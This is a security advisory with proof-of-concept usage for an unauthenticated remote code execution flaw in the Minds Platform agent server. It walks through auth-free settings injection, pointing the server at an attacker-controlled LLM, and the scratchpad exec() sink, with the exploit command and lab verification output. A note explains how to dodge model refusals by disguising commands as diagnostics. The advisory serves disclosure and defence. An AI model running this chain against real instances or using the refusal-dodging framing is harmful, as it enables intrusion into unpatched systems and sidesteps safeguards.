CVE-2026-73678 — MindsDB Minds Platform Unauthenticated RCE (CVSS 10.0)

CVSS 10.0 (Critical) · CWE-94 / CWE-306 · GHSA-jcxw-h8ph-pxpv · VulnCheck

Summary

Minds Platform (the open-source backend of mindsdb/mindshub, previously mindsdb/minds-platform) exposes POST /api/v1/responses/ (an OpenAI-compatible Responses API, port 26866) with no authentication at all. There is no auth middleware — no Bearer check, no session, nothing. The server only installs a permissive CORS middleware (allow_origins=["*"], allow_credentials=True).

An unauthenticated attacker can therefore:

1. Inject their own LLM configuration via PUT /api/v1/settings/{key} (openai_api_key, openai_base_url, planning_provider, coding_provider, *_model) — no token required, all requests return 200.

2. Send a crafted prompt to POST /api/v1/responses/ → ResponsesHandler.handle() → Anton ChatSession.turn_stream(input).

3. The (attacker-controlled) LLM returns a function call for the built-in scratchpad tool (action: "exec"). handle_scratchpad → prepare_scratchpad_exec → ScratchpadManager → LocalScratchpadRuntime → scratchpad_boot.py:

   compiled = compile(code, "<scratchpad>", "exec")
   exec(compiled, namespace)   # arbitrary Python → arbitrary OS commands
   

Because the LLM endpoint is attacker-chosen (BYOK), the attacker can make the model return any scratchpad code — no model cooperation or coercion is required. The only precondition is a working OpenAI-compatible LLM API key.

Affected: ≤ v26.1.0 (vulnerable code added 2026-06-08, "Fresh #12461"). Patched: NONE — GHSA lists no patched version; the exec() remains in main (only an optional, off-by-default COWORK_REQUIRE_AUTH Bearer middleware and org-mode scope checks exist).

Exploit

python3 poc_cve-2026-73678.py \
  --target http://TARGET:26866 \
  --api-key sk-YOUR_OWN_KEY \
  --base-url https://api.openai.com/v1 \
  --model gpt-4o

The PoC:

1. Writes attacker settings via auth-free PUT /api/v1/settings/*
2. Sends a benign-looking "system diagnostics" prompt (runs uname -a + hostname via scratchpad exec)
3. Reports the LLM response; confirm cat /tmp/system_info.txt on the host

Prompt-engineering note: models with strong safety training may refuse obviously malicious commands (e.g. filenames containing "pwn"). Frame the request as routine maintenance (system diagnostics, health check) — the scratchpad executes whatever code the model supplies.

Verification (2026-08-16, Docker lab, ARM64)

Real end-to-end chain against cowork-server==0.26.6.26.1 with a real LLM provider (OpenCode Zen, minimax-m3):

== [1] AUTH-FREE SETTINGS INJECTION ==
  PUT /api/v1/settings/openai_api_key:     HTTP 200
  PUT /api/v1/settings/openai_base_url:    HTTP 200
  PUT /api/v1/settings/planning_provider:  HTTP 200
  PUT /api/v1/settings/coding_provider:    HTTP 200
  PUT /api/v1/settings/planning_model:     HTTP 200
  PUT /api/v1/settings/coding_model:       HTTP 200

== [2] CRAFTED PROMPT -> POST /api/v1/responses/ ==
  HTTP 200 (15.6s) — LLM called the scratchpad tool

== [3] COMMAND EXECUTION CONFIRMED ==
  /tmp/system_info.txt inside the container:
    Linux 95d5d7fa74f6 6.12.75+rpt-rpi-2712 ... aarch64 GNU/Linux
    95d5d7fa74f6

No token was sent at any point. The uname -a output was produced inside the target container by the scratchpad exec — arbitrary OS command execution as an unauthenticated remote attacker.

Impact

• Unauthenticated remote code execution on any exposed Minds Platform instance (default port 26866).
• CORS wildcard + credentials means a malicious website could also trigger the chain from a victim's browser (drive-by / DNS-rebinding).
• Additional auth-free surfaces: GET /api/v1/settings/reveal-key/{name} leaks configured secrets; POST /api/v1/settings/raw writes ~/.anton/.env.

References

• GHSA: https://github.com/mindsdb/minds-platform/security/advisories/GHSA-jcxw-h8ph-pxpv
• NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-73678
• VulnCheck: https://www.vulncheck.com/advisories/mindsdb-minds-platform-unauthenticated-rce-via-scratchpad-exec
• Project: https://github.com/mindsdb/minds-platform (now mindsdb/mindshub)